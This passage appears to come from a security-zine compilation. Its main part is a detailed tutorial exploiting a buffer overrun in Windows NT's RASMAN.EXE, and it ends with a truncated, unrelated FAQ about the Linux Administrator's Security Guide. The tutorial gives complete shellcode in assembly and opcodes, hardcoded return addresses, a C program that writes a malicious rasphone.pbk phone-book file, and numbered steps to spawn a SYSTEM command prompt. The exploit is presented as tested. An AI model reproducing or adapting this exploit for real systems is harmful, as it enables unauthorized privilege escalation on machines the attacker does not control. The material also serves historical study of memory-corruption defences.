    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
   
    that is 40 capital As, when the program reads in our input and places
    it in our buffer it overflows. 40 will definitely not fit into 32.
   
    It so happens that if we enter 40 As we completely overwrite the
    contents of a special CPU register known as the Instruction Pointer or
    EIP - the E stands for Extended by the way. A quick explanation of a
    register - a computer's processor has small memory storage units
    called registers. Access to the values held in these registers is very
    quick. These registers have special names and can hold memory
    addresses and variables. The EIP is one of these registers and holds
    the memory address of the next instruction to execute. What do I mean
    by instruction? A program contains a list of instructions for the
    processor to carry out in order for the program to do its job, much
    like a recipe contains instructions for a cook to carry out in order
    to make a cake. These instructions are known as operation codes or
    opcodes for short. So when a program is running and the processor is
    executing one of the program's instructions the EIP holds the memory
    address where the next instruction to be executed can be found. After
    the current instruction has been executed the processor goes to that
    memory address and pulls in the instruction found there and then
    increments the EIP and the executes that instruction. This process of
    pulling the opcode from the memory address pointed to by the EIP, then
    incrementing the EIP then executing that instruction continues until
    the program exits.
   
    Going back to our code, the fact that we have overwritten the EIP
    means that we can effectively tell the CPU to go to a memory address
    of our choosing and pull down the instruction found there and execute
    that. Because we are filling the buffer with As we overwrite the EIP
    with 0x41414141 - 41 is the hex value for a capital A. The processor
    then goes to address 0x41414141 and tries to read in the instruction
    found at that address. If there's no instruction there we get a thing
    known as an Access Violation. Most people will know of this as a
    message popping up saying something like "The Instruction at
    '0x41414141' referenced memory at '0x41414141'. The memory could not
    be read." If we had filled our buffer with Bs we would overwrite the
    EIP with 0x42424242 essentially telling the processor to go that that
    memory address to get the next instruction and more than likely we'd
    get the same Access Violation.
   
    Exploiting a buffer overrun.
  
    As you'll see later on, being able to overwrite the EIP is vital to
    exploiting a buffer overrun. When you exploit a buffer overrun you
    basically get the processor to execute instructions or code of your
    choosing getting the program to do something it would not normally do.
    You do this by pointing the EIP back into the buffer which you load
    with your own opcodes which are then executed. This begs the question
    , "Why would someone want to do this?"
    
    Windows NT, like UNIX systems, require a user to log into the system.
    Some users are very powerful, such as the Administrator and others are
    just your average normal user that aren't as powerful. If a normal
    user wanted to become equivalent to the Administrator and thus just as
    powerful with almost full control of the system they could exploit a
    buffer overrun to attain this. The problem is the buffer overrun needs
    to be in a process that has enough power and privileges to be able to
    make them an Administrator so there is no point in buffer overruning a
    process that they, the user themselves, have started. They need to
    buffer overrun a process started by the system and then get the
    process to execute their own arbitary code. The system account is very
    powerful, and if you can get a system process to do something, such as
    open a Command Prompt, then it will run with system privileges. In
    Windows NT, if a process starts a new child process then the child
    process normally inherits the access token of the parent process,
    normally because some processes can be started using the Win32
    CreateProcessAsUser ( ) function that will start the new process under
    the security context of another user and thus the new process will
    have a different access token than the parent process. An Access Token
    is like a set of keys - they denote a user's rights and privileges
    that determine what they can and cannot do to the machine. An example
    of this is screen savers. The winlogon.exe system process is
    responsible for starting a user's screen saver. As oppossed to runing
    the screen saver in the security context of the system winlogon uses
    CreateProcessAsUser ( ) to start the screen saver in the security
    context of the currently logged on user. I digress - back to buffer
    overruns. In this case study we'll look at the buffer overrun in
    RASMAN.EXE, a system process, and get it to open a Windows NT Command
    Prompt. This Command Prompt will have the access token of the system
    account and so will any other processes started from it. But first a
    bit more on an NT process' virtual memory layout.
    
    A process embodies many things such as, amongst others, a running
    program, one or more threads of execution, the process' virtual
    address space and the dynamic link libraries (DLLs) the program uses.
    The process has 4 GB of virtual address space to use. Half of this is,
    from address 0x00000000 to 0x7FFFFFFF, private address space where the
    program, its DLLs and stack (or stacks in the case of a multihthreaded
    program) are found and the other half, address 0x80000000 to
    0xFFFFFFFF is the system address space where such things as
    NTOSKRNL.EXE and the HAL are loaded. As a side note, this default
    behaviour can be changed as of service pack three - you can specify a
    switch in the boot.ini - /3GB - that will assign 3 GB as private
    address space and 1 GB as system address space. This is to boost the
    performance of programs, such as databases, the require large amounts
    of memory.
    
    When a program is run NT creates a new process. It loads the program's
    instructions and the DLLs the program uses into the private address
    space and marks the pages it uses as read-only. Any attempt to modify
    pages in memory marked as read only will cause an Access Violation.
    The first thread is started and a stack is initialised.
   
    The Stack
  
    What's the simplest way to describe a stack? Try this: Imagine a
    carpenter. He has tools, materials and instructions. To be able to
    make something though they need a workbench. The stack is similar to
    this workbench. It is a place where he can use his tools to shape and
    model his raw materials. He can put something down on the workbench,
    say waiting for the glue to dry on two bits of wood and do something
    else. When that task is complete he can come back to his two bits of
    wood and continue with that. The workbench is where most of the work
    is done.
    
    So too, in a process, the stack is where most things are done. It is a
    writeable area of memory that dynamically shrinks and grows as is
    needed or determined by the program's execution. When a programatic
    task is started it'll place data on the stack, whether these be
    strings, memory addresses, integers or whatever, then manipulate them
    and when the task has completed it will return the stack to its
    original state so that the next task can use it if it needs to.
    Working in this way the process interacts with the stack using a
    method known as Last In, First Out or LIFO.
    
    There are two registers that are crucial to the stack's functionality
    - they are used by the program to keep track of where data can be
    found in memory. These two registers are the ESP and the EBP.
    
    The ESP, or the Stack Pointer points to the top of the stack. The ESP
    contains the memory address where the top of the stack can be found.
    The ESP can be changed in a number of ways both indirectly and
    directly.When something is PUSHed onto the stack the ESP increases
    accordingly. When something is POPed off of the stack the ESP shrinks.
    The PUSH and POP operations modify the ESP indirectly. But then you
    can manipulate the ESP directly, with say an instruction of "SUB
    esp,04h" which pushes the stack out by four bytes or one word. For
    those that haven't yet been numbed into boardem, something may just
    have irked: how is it that you SUBtract 4 from the ESP and yet the ESP
    is pushed out? Well this is because the stack works backwards. The
    bottom of the stack uses a memory address higher than the top of the
    stack:
    
    ----------------0x12121212 Top of the stack
    ...
    ...
    ----------------0x121212FF Bottom of the stack

    Here we have definitive proof that the fathers of modern computing
    were indeed closet sadists or had shares in makers of paracetamol -
    occasionally they throw in gems like this to make that headache that
    bit more acute. When we say the stack increases in size the address
    held in the ESP decreases. Conversly when the stack size decreases the
    address held in the ESP increases. Reaching for the Asprin yet?
    
    Our second stack related register is known as the EBP or the Base
    Pointer. The EBP holds then memory address of the bottom of the stack
    - more accurately it points to a base point in the stack that we can
    use a reference point within a given programatic task. The EBP must
    have meaning to a given task and to facilitate this before the task's
    real business is started a setup procedure known as the "procedure
    prologue" is first completed. What this does is, firstly, save the
    current EBP by PUSHing it onto the stack. This is so that the
    processor and program will know where to pick up from after the
    currently executing task has completed. The ESP is then copied into
    the EBP thus creating a new Base Pointer that the currently executing
    task can use as a reference point irrespective of how the ESP changes
    during the task's execution. Continuing with this let's say an 11
    character string was placed onto the stack - our EBP remains the same
    but the ESP has been pushed out by 12 bytes. Then say an address was
    PUSHed onto the stack - our ESP is pushed out by another 4 bytes,
    though our EBP still remains the same. Now let's say we needed to
    reference the 11 byte string - we can do this by using our EBP: we
    know the first byte of our string (the pointer to the string) is
    twelve bytes away from the EBP so we can reference this string's
    pointer by saying,"the address found at EBP minus 12". (Remember the
    stack goes from a higher address to a lower address)
    
                         RASMAN and buffer overruns. 
                                      
    Finding the buffer overrun
  
    The first thing you need to do to be able to exploit a buffer overrun
    is to a) know about an existing one or b) find your own one. In the
    case of RASMAN, the overrun was found by looking at the RAS functions
    and the structures the used. Notice that some of the functions, such
    as RasGetDialParams ( ), fill structures that contain characters
    arrays, much like char name[31] character array in the C code above.
    By playing around with rasphone.pbk file, the RAS Phone Book, where
    dialing details, such as the phone number to be dialed, are stored,
    you can root out these overruns. Make a phone book entry called
    "Internet", which dials into your ISP, dial it, and downloaded your
    mails. This is important as this adds to the Registry an entry for the
    domain name of your mail server as an Autodial location. That is, if
    you try to contact your mail server, from that point on, without being
    dialed into the Internet, the Connection manager would kick in and
    automatically dial for you. RASMAN is the process that handles this
    functionality. Once you have done this change the telephone number to
    a long string of As and then attempted to connect to your mail server,
    say, by opening Outlook Express. This causes RASMAN to read in from
    rasphone.pbk the telephone number to dial to be able to get to your
    mail server. But instead of the real telephone number the long string
    of As is read instead and fills a character array in the
    RAS_DIAL_PARAMS structure which overflows causing an Access Violation
    - at address 0x41414141. We've found a buffer overrun and, more
    exciting, overwritten the EIP.
    
    Finding where the EIP is overwritten
   
    By experimenting with the length of the "telephone number" we find
    that we overwrite the EIP with bytes 296,297,298 and 299 of our
    string. (You'll find that, if you are actually following this, you'll
    need to reboot the system after the overflow to be able to restart the
    service, and you'll have to end tasks such as AthenaWindow and
    msmin.exe.) Once we have found where we overwrite the EIP it is time
    to get out the debugger - the debugging capabilities of Visual C++ are
    very good. Attach to the RASMAN process and then get it to dial - or
    attempt to at least. Wait for the access violation.
   
    Analyze what's going on.
  
    Once the access violation has occured we need to look at the stack and
    the state of the CPU's registers. From this we can see that we also
    overwrite the EBP, which will come in handy later on and that the
    address of the first A of our "telephone number" is 0x015DF105. By
    getting RASMAN to access violate a number of times we find that the
    first A is always written to this address. This is the address we're
    going to set the EIP to so that the processor will look at that
    address for the next instrution to execute. We'll stuff the "telephone
    number" full of our own opcodes that will get RASMAN to do what we
    want it to do - our arbitary code. We then need to ask, "What do we
    want it to do?".
   
    Where do you want to go today? - What do you want to acheive?
  
    The best thing to do, as we need to be at the console to get this to
    work, is get RASMAN to open up a Command Prompt. From here we can run
    any program we want with system privileges. The easiest way to get a
    program to run a Command Prompt, or any other program for that matter
    is to use the system ( ) function. When the system ( ) function is
    called it looks at the value of the ComSpec environment variable,
    normally "c:\winnt\system32\cmd.exe" on Windows NT and executes that
    with a "/C" switch. The function passes cmd.exe a command to run and
    the "/C" switch tells cmd.exe to exit after the command has finished
    executing. If we pass "cmd.exe" as the command - system("cmd.exe"); -
    this will cause the system function to open up cmd.exe with the "/C"
    switch and execute cmd.exe - so we are running two instances of the
    command interpreter - however the second one won't exit until we tell
    it to ( and nor will the first until the second one has exited.)
    
    Rather than the placing the opcodes that actually form the system ( )
    function in our exploit string it would be easier to simply call it.
    When you call a function you tell the program to go to a certain DLL
    that contains the code for the function you are calling. The use of
    DLLs means that programs can be smaller in size - rather than each
    program containing the necessary code for each function used they can
    call a shared DLL that does contain the code. DLLs are said to export
    functions - that is the DLL provides an address where a function can
    be found. The DLL also has a base address so the system knows where to
    find that DLL. When a DLL is loaded into a process' address space it
    will always be found at that base address and the functions it exports
    can then be found at an entry point within the base. The system ( )
    function is exported msvcrt.dll (the Microsoft Visual C++ Runtime
    library) which has base address of 0x78000000 and system ( ) entry
    point can be found at 000208C3 (in version 5.00.7303 of msvcrt.dll
    anyway) meaning that the address of the system ( ) function is
    0x780208C3. Hopefully msvcrt.dll will already be loaded into RASMAN's
    address space - if it isn't we'll need to use LoadLibrary ( ) and
    GetProcAddress ( ). Fortunately RASMAN does use msvcrt.dll and so it
    is already in the process address space. This makes the job of
    exploiting the buffer overrun very easy indeed - we'll simply build a
    stack with our string of the command to run (cmd.exe) and and call it.
    What makes it even better is that the address 0x780208C3 has no nulls
    (00) in it. Nulls can really complicate issues.
   
    To find out what the stack needs to look like when a normal program
    calls system("cmd.exe"); we need to write one that does and debug it.
    We'll need to get our arbitary code to build a duplicate image of the
    stack as it appears in our program just before system ( ) is called.
    Below is the source of our program. Compile and link it with
    kernel32.lib then run and debug it.
   
    #include <windows.h>
    #include <winbase.h>

    typedef void (*MYPROC)(LPTSTR);
    int main()
    {
        HINSTANCE LibHandle;
        MYPROC ProcAdd;

        char dllbuf[11]  = "msvcrt.dll";
        char sysbuf[7] = "system";
        char cmdbuf[8] = "cmd.exe";


        LibHandle = LoadLibrary(dllbuf);

        ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

        (ProcAdd) (cmdbuf);

        return 0;
    }

    On debugging and examining the stack prior to calling system ( )
    [(ProcAdd)(cmdbuf); in the above code] we see that starting from the
    top of the stack we find the address of the "c" of cmd.exe, then the
    address of where the system ( ) function can be found, the null
    terminated cmd.exe string and a few other things that are too
    important. So to emulate this we need the null terminated
    "cmd.exe"string in the stack, then the address of the system function
    and then the address which points to our "cmd.exe" string. Below is a
    picture of what we need the stack to look like before calling system (
    )
   
    -------------------- ESP (Top of the Stack)
    XX
    --------------------
    XX
    --------------------
    XX
    --------------------
    XX
    --------------------
    C3
    --------------------
    08
    --------------------
    02
    --------------------
    78
    --------------------
    63      c
    --------------------
    6D      m
    --------------------
    64      d
    --------------------
    2E      .
    --------------------
    65      e
    --------------------
    78      x
    --------------------
    65      e
    --------------------
    00
    -------------------- EBP (Bottom of the stack)

    where the top 4 XXs are the address of "c". We don't need to hardcode
    this address into our exploit string because we can use the EBP as a
    reference - remember it is the base pointer. Later on you'll see that
    we load the address where the first byte of our cmd.exe string can be
    found into a register using the EBP as a reference point.
   
    Writing the Assembly.
  
    This is what we need the stack to look like when we call system ( ).
    How do we get it there? We have to build it ourselves with our opcodes
    - we can't just put it in our exploit string because as you can see
    there are nulls in it and we can't have nulls. Because we have to
    build it this is where knowing at least a little assembly language
    comes in handy. The first thing we need to do is set the ESP to an
    address we can use for our stack. (Remember the ESP points to the top
    of the stack.) To do this we use:
    
    mov esp, ebp
   
    This moves the EBP into the ESP - rember we overwrite the EBP as well
    as the EIP which is really handy. We'll overwrite the EBP with an
    address we know we can write to - we will use 0x015DF124. Consequently
    the ESP, after we move the EBP into it, the top of the stack will be
    found at 0x015DF124.
    
    We then want to push EBP onto the stack. This is our return address.
    
    push ebp
    
    This has the effect of pushing the ESP down 4 bytes and so ESP is now
    0x015DF120. After this we then want to move the ESP into the EBP:
    
    mov ebp,esp
    
    This completes our own procedure prologue. With this done we can go
    about building the stack the way we want it to look
    
    The next thing we need to do is get some nulls onto the stack. We need
    some nulls because we need to have our cmd.exe string terminated with
    a null. Even though the cmd.exe string isn't there yet it will be but
    we have to do things in reverse order. Before we can push some nulls
    onto the stack we need to make some. We do this by xoring a register
    with itself- we'll use the EDI register.
    
    xor edi,edi
    
    This will set the EDI to 00000000 and then we push it onto the stack
    using
    
    push edi
    
    This also has the added effect of pushing out our ESP to 0x015DF11C.
    But "cmd.exe" is 7 bytes long and we only have room for 4 bytes so far
    and don't forget we need a null tacked on the end of our string so we
    need to push the ESP out another 4 bytes to give us a total of 8 bytes
    of space between the ESP and the EBP. We could push the edi again, but
    for varitey we'll just sub the ESP by 4.
    
    sub esp,04h
    
    Our ESP is now 0x015DF118 and our EBP is 0x015DF120. Our next job is
    to get cmd.exe written to the stack. To do this we'll use the EBP as a
    reference point and move 63, the hex value for a small "c" into the
    address offset from the EBP minus 8.
    
    mov byte ptr [ebp-08h],63h
    
    We do the same for the "m", the "d", the ".", the first"e", the "x"
    and the final "e".
    
    mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr
    [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h
    mov byte ptr [ebp-02h],65h
    
    Our stack now looks like this:
    
    ----------------------------------------------------- ESP
    63              c
    -----------------------------------------------------
    6D              m
    -----------------------------------------------------
    64              d
    -----------------------------------------------------
    2E              .
    -----------------------------------------------------
    65              e
    -----------------------------------------------------
    78              x
    -----------------------------------------------------
    65              e
    -----------------------------------------------------
    00
    ----------------------------------------------------- EBP

    All that we need to do now is put the address of system( ) onto the
    stack and the pointer to our cmd.exe string on top of that - once that
    is done we'll call the system ( ) function.
   
    We know that the system( ) function is exported at address 0x780208C3
    so we'll move this into a register and then push it onto the stack:
    
    mov eax, 0x780208C3 push eax
    
    We then want to put the address of the "c" of our "cmd.exe" string
    onto the stack. We know that the "c" can be found eight bytes away
    from our EBP so we'll load the address 8 bytes less than the EBP into
    a register:
    
   lea eax,[ebp-08h]
   
    The EAX register now holds the address where our cmd.exe string
    begins. We then want to push this onto the stack:
    
    push eax
    
    With this done our stack is built and we are ready to call system ( )
    but we don't call it directly - again we use the indirection of using
    our EBP as a reference point and call address found at EBP minus 12
    (or 0C in hex):
    
    call dword ptr [ebp-0ch]
    
    Here is all our code strung together.
   
    mov esp,ebp
    push ebp
    mov ebp,esp
    xor edi,edi
    push edi
    sub esp,04h
    mov byte ptr [ebp-08h],63h
    mov byte ptr [ebp-07h],6Dh
    mov byte ptr [ebp-06h],64h
    mov byte ptr [ebp-05h],2Eh
    mov byte ptr [ebp-04h],65h
    mov byte ptr [ebp-03h],78h
    mov byte ptr [ebp-02h],65h
    mov eax, 0x780208C3
    push eax
    lea eax,[ebp-08h]
    push eax
    call dword ptr [ebp-0ch]

    The next thing to do is test this assembly to see if it works so we
    need to write a program that uses the __asm ( ) function. The __asm (
    ) function takes Assembly language and incorporates it into a C
    program. As we are calling system ( ) which is exported by msvcrt.dll
    we'll need to load that- we use the LoadLibrary ( ) function to do
    this - otherwise when run our code would fail:
   
    #include <windows.h>
    #include <winbase.h>

    void main()
    {

                LoadLibrary("msvcrt.dll");


                __asm {

                        mov esp,ebp
                        push ebp
                        mov ebp,esp
                        xor edi,edi
                        push edi
                        sub esp,04h
                        mov byte ptr [ebp-08h],63h
                        mov byte ptr [ebp-07h],6Dh
                        mov byte ptr [ebp-06h],64h
                        mov byte ptr [ebp-05h],2Eh
                        mov byte ptr [ebp-04h],65h
                        mov byte ptr [ebp-03h],78h
                        mov byte ptr [ebp-02h],65h
                        mov eax, 0x780208C3
                        push eax
                        lea eax,[ebp-08h]
                        push eax
                        call dword ptr [ebp-0ch]
                          
                }
    }

    compile and link with kernel32.lib. When run this should start a new
    instance of the Command Interperter, cmd.exe. There will be an access
    violation however when you exit that instance in the program though -
    we've messed around with the stack and haven't clean up after
    ourselves.
   
    That's it then - that's our arbritary code and all we need to do now
    is put this into the rasphone.pbk file as our telephone number. Before
    we can do that though, we need to get the op-codes for the above
    assembly.
   
    This is relatively easy - just debug the program you've just compiled
    and get the opcodes from there. You should get "8B E5" for "mov
    esp,ebp" and "55" for "push ebp" etc etc. Once we have all the opcodes
    we need to put these in our "telephone number". But we can't type the
    opcodes very easily in Notepad. The easiest thing to do is write
    another program that creates a rasphone.pbk file with the telephone
    number loaded with our arbitary code. Below is an example of such a
    program with comments:
   
    /* This program produces a rasphone.pbk file that will cause and exploit a buff
    er overrun in   */
    /* RASMAN.EXE - it will drop the user into a Command Prompt  started by the sys
    tem.            */
    /* It operates by re-writing the EIP and pointing it back into our exploit stri
    ng which calls  */
    /* the system() function exported at address 0x780208C3 by msvcrt.dll (ver 5.00
    .7303) on       */
    /* NT Server 4 (SP3 & 4). Look at the version of msvcrt.dll and change buffer[1
    09] to buffer[112]*/
    /* in this code to suit your version. msvcrt.dll is already loaded in memory -
    it is used by   */
    /* RASMAN.exe.  Developed by David Litchfield (mnemonix@globalnet.co.uk )
                */

    #include <stdio.h>
    #include <windows.h>

    int main (int argc, char *argv[])
    {
        FILE *fd;
        int count=0;
        char buffer[1024];
        
        /* Make room for our stack so we are not overwriting anything we haven'
    t */
        /* already overwritten. Fill this space with nops */
        while (count < 37)
                {
                        buffer[count]=0x90;
                        count ++;
                }
                
        /* Our code starts at buffer[37] - we point our EIP to here @ address 0
    x015DF126 */
        /* We build our own little stack here */
        /* mov esp,ebp */
        buffer[37]=0x8B;
        buffer[38]=0xE5;

        /*push ebp*/
        buffer[39]=0x55;

        /* mov ebp,esp */
        buffer[40]=0x8B;
        buffer[41]=0xEC;
        /* This completes our negotiation */

        /* We need some nulls */
        /* xor edi,edi */
        buffer[42]=0x33;
        buffer[43]=0xFF;

        /* Now we begin placing stuff on our stack */
        /* Ignore this NOP */
        buffer[44]=0x90;
        
        /*push edi  */
        buffer[45]=0x57;

        /* sub esp,4 */
        buffer[46]=0x83;
        buffer[47]=0xEC;
        buffer[48]=0x04;

        /* When the system() function is called you ask it to start a program o
    r command */
        /* eg system("dir c:\\"); would give you a directory listing of the c d
    rive    */
        /* The system () function spawns  whatever is defined as the COMSPEC en
    vironment */
        /* variable - usually "c:\winnt\system32\cmd.exe" in NT with a "/c" par
    ameter - in */
        /* other words after running the command the cmd.exe process will exit.
     However, running */
        /* system ("cmd.exe") will cause the cmd.exe launched by the system fun
    ction to spawn */
        /* another command prompt - one which won't go away on us. This is what
     we're going to do here*/

        /* write c of cmd.exe to (EBP - 8) which happens to be the ESP */
        /* mov byte ptr [ebp-08h],63h */
        buffer[49]=0xC6;
        buffer[50]=0x45;
        buffer[51]=0xF8;
        buffer[52]=0x63;

        /* write the m to (EBP-7)*/
        /* mov byte ptr [ebp-07h],6Dh */
        buffer[53]=0xC6;
        buffer[54]=0x45;
        buffer[55]=0xF9;
        buffer[56]=0x6D;

        /* write the d to (EBP-6)*/
        /* mov byte ptr [ebp-06h],64h */
        buffer[57]=0xC6;
        buffer[58]=0x45;
        buffer[59]=0xFA;
        buffer[60]=0x64;

        /* write the . to (EBP-5)*/
        /* mov byte ptr [ebp-05h],2Eh */
        buffer[61]=0xC6;
        buffer[62]=0x45;
        buffer[63]=0xFB;
        buffer[64]=0x2E;

        /* write the first e to (EBP-4)*/
        /* mov byte ptr [ebp-04h],65h */
        buffer[65]=0xC6;
        buffer[66]=0x45;
        buffer[67]=0xFC;
        buffer[68]=0x65;

        /* write the x to (EBP-3)*/
        /* mov byte ptr [ebp-03h],78h */
        buffer[69]=0xC6;
        buffer[70]=0x45;
        buffer[71]=0xFD;
        buffer[72]=0x78;


        /*write the second e to (EBP-2)*/
        /* mov byte ptr [ebp-02h],65h */
        buffer[73]=0xC6;
        buffer[74]=0x45;
        buffer[75]=0xFE;
        buffer[76]=0x65;


        /* If the version of msvcrt.dll is 5.00.7303 system is exported at 0x78
    0208C3 */
        /* Use QuickView to get the entry point for system() if you have a diff
    erent */
        /* version of msvcrt.dll and change these bytes accordingly */
        /* mov eax, 0x780208C3 */
        buffer[77]=0xB8;
        buffer[78]=0xC3;
        buffer[79]=0x08;
        buffer[80]=0x02;
        buffer[81]=0x78;
        
        /* Push this onto the stack */
        /* push eax */
        buffer[82]=0x50;

        /* now we load the address of our pointer to the cmd.exe string into EA
    X */
        /* lea eax,[ebp-08h]*/
        buffer[83]=0x8D;
        buffer[84]=0x45;
        buffer[85]=0xF8;

        /* and then push it onto the stack */
        /*push eax*/
        buffer[86]=0x50;
        
        /* now we call our system () function - all going well a command prompt
     will */
        /* be started, the parent process being rasman.exe
        */
        /*call dword ptr [ebp-0Ch] */
        buffer[87]=0xFF;
        buffer[88]=0x55;
        buffer[89]=0xF4;

        /* fill to our EBP with nops */
        count = 90;
        while (count < 291)
                {
                        buffer[count]=0x90;
                        count ++;
                }
        


        /* Re-write EBP */
        buffer[291]=0x24;
        buffer[292]=0xF1;
        buffer[293]=0x5D;
        buffer[294]=0x01;
        
        /* Re-write EIP */
        buffer[295]=0x26;
        buffer[296]=0xF1;
        buffer[297]=0x5D;
        buffer[298]=0x01;
        buffer[299]=0x00;
        buffer[300]=0x00;

        /* Print on the screen our exploit string */
        printf("%s", buffer);
        
        /* Open and create a  file called rasphone.pbk */
        fd = fopen("rasphone.pbk", "w");

        if(fd == NULL)
                {
                        printf("Operation failed\n");
                        return 0;
                }
        
        else
                {
                        fprintf(fd,"[Internet]\n");
                        fprintf(fd,"Phone Number=");
                        fprintf(fd,"%s",buffer);
                        fprintf(fd,"\n");
                }
    return 0;
    }

    When compiled and run this program will create a rasphone.pbk file
    with one entry called Internet and a phone number loaded with our
    arbitary code. When RASMAN.EXE opens this file and it uses
    RasGetDialParams ( ) to get the relevant information and assigns it to
    a RAS_DIAL_PARAMS structure which contains the character arrays. As
    you'll have guessed we're overflowing the one that holds the telephone
    number.
    
    Now to test it all.
   
    Quite often when trying to exploit buffer overruns you don't get it
    right the first time - usually due to an oversight or something. The
    code in this document has been tested on NT Server 4 with SP 3, NT
    Server 4 with SP 4 and NT Workstation SP 3 all running on a Pentium
    processor and it works - that's not to say that it will run on your
    machine though. There could be a number of reasons why it might not,
    but that is up to you to find out. So any way, let's test it:
    
    To be able to get this to work take the following steps:
    
    1) Make a backup copy of your real rasphone.pbk file and then delete
    the original. The NTFS permissions on this file by default give
    everybody the Change permission so there shouldn't be a problem with
    this.
    
    2) Run rasphone (click on Start -> Run -> type rasphone -> OK). You
    should get a message saying that the phone book is empty and click OK
    to create a new one.
    
    3) Click OK and make a new entry calling it "Internet". Put in the
    relevant information needed to be able to dial into your ISP. Once the
    entry is complete dial it.
    
    4) Once connected open Outlook Express and download your e-mails. The
    reason for doing this is because this will create a Registry entry for
    your mail server's domain name and associate it as an autodialable
    address. If Outlook Express' connection is dial up change it to a LAN
    connection - this'll be under the mail account's properties.
    
    5) Hangup and close Outlook Express.
    
    6) Copy the delete the new rasphone.pbk and replace it with your one
    made from the above code.
    
    7) Open Outlook Express.
    
    Because your not connected to the Internet RASMAN should automatically
    dial for you, read in from the Registry the autodail information then
    open rasphone.pbk, fill its buffers and overflow. Within about eight
    seconds or so a Command Prompt window will open. This Command Prompt
    has SYSTEM privileges.
    
    That's it - we've exploited a buffer overrun and executed our arbitary
    code.

   ------------------------------  



<!-- 3.00 - Misc //-->

3.01 --=\\Admin FAQ\\=--
    1.0 General questions

      1.1 What is the LASG?
          It is a security guide aimed at Linux amdinistrators and users. 

      1.2 Why did you create the LASG?
          There is currently no generic Linux security documentation apart from the Security
          HOWTO which isn't terribly comprehensive (it does give a good overview however).
          Most Linux distributions come with some security documentation but it usually
          doesn't amount to more then 10 pages, and is very low level (use good passwords,
          etc.). So I decided to write such a document, and give it away for free so it
          would reach the largest possible audience (0.0.9 was downloaded over 25,000 times
          in the first 24 hours).

      1.3 Why the restrictive license on the LASG?
          Because I don't want modified versions running (i.e. I want to maintain some
          revision sanity) around that may be incorrect (unintentionally or intentionally),
          it is also a document, not a piece of software, so it is subject to somewhat
          different laws of development/progression. If you don't like it, don't read it.

      1.4 Why can't I get it as HTML/text/postscript/etc.?
          Because of reasons stated in 1.3, and because generating different formats would 
          require a lot of overhead for my time, and the output can vary significantly (in
          the case of HTML or txt), as well post script cannot be read easily in Windows,
          and HTML will end up as an ugly mess of files once I start adding illustrations
          and pictures. PDF is the only language that allows me to format it nicely, and
          have it readable under as many OS's as possible. You can get the adobe acrobat
          viewer at:

	  http://www.adobe.com/prodindex/acrobat/readstep.html

	  And patches for xpdf are available from:

	  http://www.foolabs.com/xpdf/

      
      1.5 Why is the head site https:// only?
          Practice what you preach. The mirror sites are of course not secure, this is
          something I am willing to live with since I don't have enough bandwidth to
          distribute the LASG from my site.

      1.6 Where can I get the LASG?
          Current mirror sites as of 0.0.98 are:

	  USA - http://www.freek.com/lasg/ 
	  USA - http://www.vadept.com/lasg/ 
	  USA - http://jezebel.rath.peachnet.edu/lasg/ 
	  USA - http://eeyore.cae.wisc.edu/lasg/ 
	  Germany - http://ftp.gwdg.de/lasg/ 
	  Denmark- http://sunsite.auc.dk/lasg/ 
	  Greece - http://linux.forthnet.gr/lasg/ 
	  Slovakia - http://www.sadman.sk/lasg/ 
	  Slovenia - http://www.camtp.uni-mb.si/lasg/ 
	  South Africa - http://www.lantic.net/lasg/ 
	  A current list is also available at: https://www.seifried.org/lasg/.
          
          A mailing list is available, send a blank meessage with the subject "subscribe"
          (no quotes) to lasg-announce-request@seifried.org, and you will receieve
          announcements of new version of the guide.

      1.7 Will there be translations of the LASG / Can I translate the LASG?
          There won't be any translations for a while yet, the guide is changing to much to
          make it worthwhile, same goes for creating translations, please hold off until the
          LASG stabilizes. Of course I can't stop you, but any translations will be rendered
          obsolete rather quickly.

      1.8 Can I contribute to the LASG?
          Yes, if you know of a software product or package I haven't listed please send me
          a URL, I hate searching the www. As for contributions of actuall writing and
          sections please do not send any as there is a lot of written work 'behind' the
          scenes that has not yet been folded into the LASG, and I hate to have people
          wasting their effort on something that has probably been done. The biggest source
          of help I find is good criticism, if the guide doesn't explain something clearly,
          or at all please tell me so I can fix or add it in. I am also not sure if I can
          accept sections of writing due to copyright concerns and legal liability. I would
          much prefer for now if the LASG is clearly the work of one person. If you have
          created a specific security document however and feel it is of value, send me the
          URL and I will list it gladly.

      1.9 Will the LASG continue to be free?
          Definately yes. There is the possibility it will be published, but as any deal I
          would make to publish this guide (electronically, or physically as a book or CD) I
          will require that the LASG also be available online in a reasonable format free of
          charge for non commercial use (as it is now).

 

    2.0 Mirroring the Guide

      2.1 What software do I need?
          You will need rsync, available with most distributions either as a core package or
          a contrib package. If you do not have it please download it from:
          http://rsync.samba.org/. Rsync runs on any UNIX platform.

      2.2 How do I mirror it?
          The following command line will grab the contents of the lasg directory on my
          server and keep the local directory (/path/to/the/lasg/) exactly in synchron-
          ization with it. Running this command from a crontab once a day (minimum) or twice
          a day (maximum) is ideal.

          rsync -avz --delete ftp.seifried.org::lasg /path/to/the/lasg/

      2.3 URL requirements
          The url that where the LASG will reside must be in the form:

          http://blah.blah.blah/lasg/

          I don't really care about the domain name, domain.nu or smelly.sock.seifried.org
          (I would prefer if it were reasonably short). I do not want ftp mirrors at this
          time as the guide is relatively small.

      2.4 Mirroring requirements
          You must grab the guide at least once a day, and the site hosting it must be up
          24/7, and have a T1 or greater (the LASG is almost 300k and still growing). You
          will need to send me the IP address of the machine so that I can add it to the
          access list, note this doesn't need to be the same machine actually hosting it (in
          case you have some strange network setup).

 

    3.0 Viewing secured webpages (https://)

      3.1 Netscape problems and fixes
          Netscape navigator/communicator version 4.0 and beyond will view secure web pages
          without any problems. Version prior to 4.0 have an older (invalid) set of
          certificates installed that are no longer in use by Thawte. To install the new
          Thawte certificates please go to this page, it descrives in detail how to install
          the new certificates. Netscape navigator/communicator prior to version 3.0 will
          probably not be able to view the site correctly, and in any case you should
          upgrade since there are significant problems with them.

      3.2 Lynx problems and fixes
          Most Linux distributions ship with Lynx, unfortunately very few (almost none) ship
          with an SSL enabled version of Lynx. You will not be able to view any secure
          webpages until your upgrade Lynx. SSL enabled Lynx is available from
          ftp.replay.com as source, rpm packages and so on. Once you have installed it you
          will be able to view secure web sites.

      3.3 MSIE problems and fixes
          Microsoft Internet Explorer version 4.0 and beyond (with the exception of the Mac
          version) will view secure web pages without any problems. Versions prior to 4.0
